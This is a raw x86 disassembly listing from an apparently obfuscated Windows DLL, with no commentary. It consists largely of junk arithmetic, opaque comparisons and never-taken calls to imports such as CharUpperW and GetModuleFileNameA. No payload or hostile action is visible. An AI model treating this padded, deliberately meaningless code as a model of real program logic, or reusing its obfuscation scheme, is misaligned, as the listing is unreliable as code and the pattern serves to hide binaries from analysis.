mov dword [ebp + eax*4 - 0x260], 0xfffffffe
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10037b36
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jg 0x10037ba3
mov dword [ebp - 0x38], 0x34ea885c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], 0x44ed25e4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x34], 4
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [ebp - 0x1c]
imul ecx, eax, 0xffff3453
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], edx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x10037b56
push 0xfffffffffffffff7
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jl 0x10037b28
lea eax, [ebp - 0x1268]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x1278]
push eax
lea ecx, [ebp - 0x16a8]
movdqu xmmword [ebp - 0x1278], xmm0
call fcn.1001acc6
lea ecx, [ebp - 0x215]
mov esi, eax
call fcn.1000959b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1158]
push dword [esi]
call fcn.1001ac75
push 9
pop eax
mov byte [ebp - 4], al
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xf0488f4f
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10037c27
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1844], 0x17ca4e86
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10037c0f
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10037e65
xor ebx, ebx
mov esi, 0xe87f6fb8
inc ebx
push ebx
lea ecx, [ebp - 0x5b4]
call fcn.1001ac19
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x3c], 0xab5457d6
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], 0xf3403ca9
mov dword [ebp - 0x24], 0x465e
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x10037c8f
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5b4]
call fcn.1001acb7
mov dword [eax], 0xc7c8a6b9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10037c71
xor eax, eax
push 3
mov dword [ebp - 0x40], eax
pop ecx
cmp dword [ebp - 0x40], ecx
jge 0x10037cb2
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1850], 0x8ceffb91
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x10037c9a
xor eax, eax
push eax
lea ecx, [ebp - 0x5b4]
call fcn.1001acb7
push 3
pop edi
mov dword [eax], edi
jmp 0x10037e07
push 2
lea ecx, [ebp - 0x4a8]
call fcn.1001ac19
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x450], esi
mov dword [ebp - 0x44c], esi
mov dword [ebp - 0x448], esi
mov dword [ebp - 0x444], esi
mov dword [ebp - 0x3c], 0x4c9d8d92
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10037d22
push dword [ebp - 0x28]
lea ecx, [ebp - 0x4a8]
call fcn.1001acb7
mov dword [eax], 0xc25fa5fe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10037d03
xor eax, eax
push eax
lea ecx, [ebp - 0x4a8]
call fcn.1001acb7
mov dword [eax], edi
jmp 0x10037db6
mov dword [ebp - 0x3c], 2
lea ecx, [ebp - 0xdb4]
mov dword [ebp - 0x3c], 0xc4247706
push edi
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x10037d7b
push dword [ebp - 0x28]
lea ecx, [ebp - 0xdb4]
call fcn.1001acb7
mov dword [eax], 0xd7c6ae49
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10037d5d
xor eax, eax
dec dword [ebp - 0x24]
lea ecx, [ebp - 0x4a8]
push eax
call fcn.1001acb7
lea ecx, [ebp - 0x1158]
push dword [eax]
call fcn.1001acb7
lea ecx, [ebp - 0xdb4]
mov byte [ebp - 4], 0xb
call fcn.1001ac9b
xor eax, eax
lea ecx, [ebp - 0x4a8]
push eax
call fcn.1001acb7
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x4a8]
push eax
call fcn.1001acb7
cmp dword [eax], 0
jge 0x10037d35
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10037de8
push 0xc04
push 0x116c
push eax
call dword [sym.imp.USER32.dll_InflateRect]
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0xa
call fcn.1001ac9b
xor eax, eax
lea ecx, [ebp - 0x5b4]
push eax
call fcn.1001acb7
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x5b4]
push eax
call fcn.1001acb7
cmp dword [eax], 0
jge 0x10037cc8
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10037e3a
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10037e37
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10037e25
push 9
pop eax
lea ecx, [ebp - 0x5b4]
mov byte [ebp - 4], al
call fcn.1001ac9b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x10037c3b
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x10037e68
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x1158]
mov byte [ebp - 4], 5
call fcn.1001ac9b
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10037e8f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1758], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10037e7e
movdqa xmm0, xmmword [0x10008480]
lea eax, [ebp - 0x1428]
push eax
lea eax, [ebp - 0x1438]
push eax
lea ecx, [ebp - 0x16b8]
movdqu xmmword [ebp - 0x1438], xmm0
call fcn.1001acc6
lea ecx, [ebp - 0x21d]
mov esi, eax
call fcn.1000959b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1c4]
push dword [esi]
call fcn.1001ac75
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1c4]
xor eax, eax
mov dword [ebp - 0x24], 0xc2076acb
push eax
mov dword [ebp - 0x40], 0x198ab79a
call fcn.1001acb7
lea ecx, [ebp - 0x1c4]
mov dword [eax], 6
xor eax, eax
push eax
call fcn.1001acb7
cmp dword [eax], 0xe
jne 0x1003804d
mov edi, 0xfffa
xor eax, eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], eax
jmp 0x10037f39
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x540], 0x244d513c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10037f28
push 2
lea ecx, [ebp - 0x1c4]
call fcn.1001acb7
mov esi, eax
lea ecx, [ebp - 0x1c4]
xor eax, eax
push eax
call fcn.1001acb7
lea ecx, [ebp - 0x1c4]
mov eax, dword [eax]
sub eax, dword [esi]
mov esi, ebx
neg eax
sbb eax, eax
inc eax
sub esi, eax
xor eax, eax
push eax
call fcn.1001acb7
xor ecx, ecx
mov edx, ebx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x53c]
setge cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1c4]
push eax
call fcn.1001acb7
mov ecx, dword [ebp - 0x53c]
mov edx, 0x693009c
sub edx, ecx
mov ecx, dword [ebp - 0x24]
add ecx, edx
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x540]
setne dl
xor ecx, ecx
cmp edx, 0x2fe81720
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x540]
setge dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x1c4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.1001acb7
mov ecx, dword [ebp - 0x40]
xor edx, edx
test ecx, ecx
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
xor eax, eax
cmp ecx, 0xfffffffa
jae 0x100382b1
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10038022
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
xor eax, eax
push eax
lea ecx, [ebp - 0x1c4]
call fcn.1001acb7
lea ecx, [ebp - 0x1c4]
inc dword [eax]
xor eax, eax
push eax
call fcn.1001acb7
cmp dword [eax], 0xe
je 0x10037f1e
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 5
call fcn.1001ac9b
xor eax, eax
push 3
mov dword [ebp - 0x40], eax
pop esi
cmp dword [ebp - 0x40], esi
jge 0x10038087
push dword [ebp - 0x40]
lea ecx, [ebp - 0x1170]
call fcn.1001acb7
mov dword [eax], 0xe57f6cc9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10038069
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffd
mov ecx, 0xfffb
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x100380b2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x130], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1003809e
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jg 0x100381f3
push 0xfffffffffffffff7
or esi, 0xffffffff
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], 0xab56411d
mov dword [ebp - 0x20], 0x43a64e78
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x100381e4
mov dword [ebp - 0x20], 0xd594484f
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x130]
xor eax, eax
cmp dword [ebp - 0x130], eax
jne 0x10038106
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x10038108
mov edx, ebx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x130]
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp + eax*4 - 0x130]
imul ecx, dword [ebp - 0x34], 0xffff
sub ecx, 0x7617
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
setge al
add eax, 0x5243b9c1
cmp eax, 0xfffffff9
jge 0x1003815f
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x128]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x130]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x34]
jge 0x10038198
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x130], eax
je 0x1003819a
mov ecx, ebx
mov eax, dword [ebp - 0x128]
xor edx, edx
add ecx, 0xe4eb7673
cmp ecx, eax
push 2
setg dl
cmp esi, edx
pop edx
sbb eax, eax
neg eax
sub eax, 0x450c1979
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
sub eax, 0xf4fe
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x100380e4
push 0xfffffffffffffff7
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x100380c7
push 3
pop esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jg 0x10038264
or ecx, 0xffffffff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x1003822a
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x130], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x10038209
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x1003825c
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x130], 0
jne 0x10038242
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x10038232
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x100381fe
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ebx
xor eax, eax
mov dword [ebp - 0x34], 0x2c03342e
mov dword [ebp - 0x38], 0xb89bdd77
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x34], 0xffffffef
cmp dword [ebp - 0x34], 0xe
jg 0x100384f6
mov dword [ebp - 0x24], 0xa5f27a41
mov dword [ebp - 0x28], eax
jmp 0x100383f5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x18
je 0x10038020
mov dword [ebp - 0x10], 0x3ca5435
lea ecx, [ebp - 0xadc]
push ebx
call fcn.1001ac19
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x38], 0x3b9fe2
mov dword [ebp - 0x28], eax
jmp 0x100382fd
push dword [ebp - 0x28]
lea ecx, [ebp - 0xadc]
call fcn.1001acb7
mov dword [eax], 8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100382e6
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x1c4]
xor eax, eax
push eax
call fcn.1001acb7
mov eax, dword [ebp - 0x20]
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], eax
jmp 0x100383c3
mov dword [ebp - 0x38], 6
cmp dword [ebp - 0x4c], eax
je 0x100383ba
push eax
lea ecx, [ebp - 0x1c4]
call fcn.1001acb7
mov ecx, dword [ebp - 0x40]
mov esi, eax
xor eax, eax
mov edx, 0xaa4807c1
sub edx, ecx
mov ecx, dword [ebp - 0x10]
cmp ecx, edx
setle al
cmp edi, eax
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x38]
neg eax
cmp eax, 0x30e92f9e
setne cl
xor ebx, ebx
sub ecx, dword [ebp - 0x38]
cmp dword [esi], ecx
lea ecx, [ebp - 0xadc]
setne bl
xor eax, eax
push eax
call fcn.1001acb7
lea ecx, [ebp - 0xadc]
sub ebx, dword [eax]
xor eax, eax
push eax
call fcn.1001acb7
mov eax, dword [eax]
add eax, ebx
xor ebx, ebx
imul eax, eax, 0x1355
test eax, eax
je 0x100383b7
inc ebx
mov eax, ebx
jmp 0x100383ba
xor eax, eax
inc ebx
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x40]
push 0
pop eax
cmp dword [ebp - 0x40], 0x1a
je 0x10038337
lea ecx, [ebp - 0xadc]
mov byte [ebp - 4], 0xd
call fcn.1001ac9b
inc dword [ebp - 0x24]
jmp 0x100382b7
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x108c], 9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100383e4
mov eax, dword [ebp - 0x34]
mov ecx, ebx
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1003840b
mov ecx, eax
xor eax, eax
cmp ecx, 0xfffffff9
setg al
xor edx, edx
cmp eax, 0x934b
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xfffffffd
setne al
cmp ebx, eax
sbb eax, eax
xor ecx, ecx
neg eax
imul eax, eax, 0x9b58
test eax, eax
setg cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0xa
jmp 0x100384d9
mov dword [ebp - 0x20], 0xab5b
xor eax, eax
mov dword [ebp - 0x3c], 0xec1e183a
xor edx, edx
mov dword [ebp - 0x28], 0xeae11771
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
dec dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1088], ecx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
setl cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x61ca7276
setg al
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], ebx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
je 0x1003845e
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xe
push 0
pop eax
push 2
pop edx
jle 0x100382a2
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], 0x1db06d67
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x30], 0x35178915
mov dword [ebp - 0x10], eax
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x4c], 0x92891f43
cmp dword [ebp - 0x10], ebx
jg 0x1003936c
mov dword [ebp - 0x30], 0x48261f9c
mov dword [ebp - 0x3c], 0x9ba07e4f
mov dword [ebp - 0x3c], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0x2e7ccc89
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x5b1b6fd4
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], 0xa87a5eaf
mov dword [ebp - 0x30], 0xffffffe2
cmp dword [ebp - 0x30], 4
jg 0x100385ff
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0xfa4]
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x3c], 0xd9ee1c97
push ebx
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], eax
jmp 0x100385cf
push dword [ebp - 0x28]
call fcn.1001acb7
mov dword [eax], 0x8cf4c59c
inc dword [ebp - 0x28]
lea ecx, [ebp - 0xfa4]
cmp dword [ebp - 0x28], ebx
jl 0x100385be
mov dword [ebp - 0x38], 0xfffffffa
dec dword [ebp - 0x20]
mov byte [ebp - 4], 5
call fcn.1001ac9b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
push 0
pop eax
jle 0x1003858c
push 2
pop edx
or ecx, 0xffffffff
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edx
jg 0x10039351
jmp 0x10038610
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1003863a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x144], 0xfffb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10038622
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10038766
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x38], 0xab56411d
mov dword [ebp - 0x20], 0x43a64e78
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x10038763
mov dword [ebp - 0x20], 0xd594484f
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x144]
xor eax, eax
cmp dword [ebp - 0x144], eax
jne 0x10038685
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x10038687
mov edx, ebx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x144]
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x144]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp + eax*4 - 0x144]
imul ecx, dword [ebp - 0x34], 0xffff
sub ecx, 0x7617
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
setge al
add eax, 0x5243b9c1
cmp eax, 0xfffffff9
jge 0x100386de
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x144]
mov eax, dword [ebp - 0x13c]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x144]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x34]
jge 0x10038717
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x144], eax
je 0x10038719
mov ecx, ebx
mov eax, dword [ebp - 0x13c]
add ecx, 0xe4eb7673
xor edx, edx
cmp ecx, eax
push 2
setg dl
or ecx, 0xffffffff
cmp ecx, edx
pop edx
sbb eax, eax
neg eax
sub eax, 0x450c1979
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
sub eax, 0xf4fe
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x10038663
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10038642
mov dword [ebp - 0x1c], eax
jmp 0x100387d5
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x100387a0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x144]
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x144], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x1003877f
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edx
jg 0x100387d2
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x144], 0
jne 0x100387b8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x144]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x100387a8
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10038774
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10039345
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0xb0c]
mov dword [ebp - 0x28], 0x668451f1
push esi
call fcn.1001ac19
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x24], eax
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x38], 0x58d3b3e2
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x34], 0x5fa7
mov dword [ebp - 0x20], 0x3370
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10038849
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a4], 0xefb6f65e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10038830
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003886c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb0c]
call fcn.1001acb7
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10038851
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10038882
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xaf4], 0xfddca65d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10038871
mov eax, dword [ebp - 0x1a4]
lea ecx, [ebp - 0xb0c]
xor eax, eax
push eax
call fcn.1001acb7
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
cmp eax, 0xaf14
mov eax, dword [ebp - 0x1a4]
setne cl
add eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x38]
cmp eax, 0xe2e5
jne 0x100388f3
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x100388da
mov eax, dword [ebp - 0x1a4]
xor eax, eax
jmp 0x100388dc
mov eax, ebx
cmp eax, dword [ebp - 0x48]
jle 0x100388e4
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1a4]
mov edx, dword [ebp - 0x34]
xor ecx, ecx
add edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp edx, eax
push ebx
setge cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xb0c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
call fcn.1001acb7
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0xaf0]
cmp ecx, eax
mov eax, dword [ebp - 0xaf0]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xaf0]
setge cl
imul eax, ecx
lea ecx, [ebp - 0xb0c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0xaf0], eax
mov byte [ebp - 4], 5
call fcn.1001ac9b
mov dword [ebp - 0x34], 0xfffffffe
xor eax, eax
mov dword [ebp - 0x24], 0x8905b8b7
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x100389ae
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x358], 0x85f70ad6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10038996
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jg 0x10038a7f
mov dword [ebp - 0x20], 0x279a20b2
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100389d4
push 0xd27
push eax
push eax
call edi
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x358]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x358]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x358]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp + eax*4 - 0x358]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x358]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
